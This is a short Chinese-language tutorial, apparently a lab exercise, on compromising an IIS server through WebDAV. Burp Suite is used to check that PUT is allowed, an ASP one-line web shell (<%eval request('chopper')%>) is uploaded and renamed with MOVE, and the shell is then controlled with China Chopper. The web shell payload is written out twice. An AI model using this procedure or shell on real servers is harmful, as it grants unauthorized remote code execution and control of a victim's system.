使用一句话木马拿下一个靶机。。。
1.首先先登录一个开有WebDAV的网站,打开brupsuit,将网站代理设置为127.0.0.1:8080
![](https://i-blog.csdnimg.cn/blog_migrate/3178c79109a95d6ad7e2355d37a93807.png)
具体哪个代理如上所示
2.然后将将拦截的有IP的那个包发到Repeater
在第一行输入OPTIONS,测试一下看该IIS组件是否开启了PUT(文件上传)功能
![](https://i-blog.csdnimg.cn/blog_migrate/c34147d0bd7b482101c3cc7ea5b8181c.png)
3.通过上述显示可以看到PUT功能已经开启,然后在服务器根目录下上传一个chao.txt的文件
在里面写入一句话木马: <%eval request("chopper")%>
这是一个asp文件的脚本
具体操作如下
![](https://i-blog.csdnimg.cn/blog_migrate/3ab18e0e5fbd84efe8a14937babaf084.png)
4.然后使用MOVE命令将chao.txt改名为chao.asp具体操作如下
![](https://i-blog.csdnimg.cn/blog_migrate/60c7f85fac8eb8f25b80ac364e462e48.png)
5.然后再在网页上输入IP+刚刚上传的文件
![](https://i-blog.csdnimg.cn/blog_migrate/4b47bfb5d613e96b2fd650cb4ec0d802.png)
没有报错的话,就是上传成功
6.然后打开菜刀
点击鼠标右键添加
将刚刚那个网站的IP+你上传文件的名字写上
再在后面添加刚刚一句话木马里的参数 chopper (这个就是密码)
在文件类型里选择asp。
ASP: <%eval request("chopper")%>
然后就拿下了
![](https://i-blog.csdnimg.cn/blog_migrate/102b2ccba3e16f4ccb07e529d364993f.png)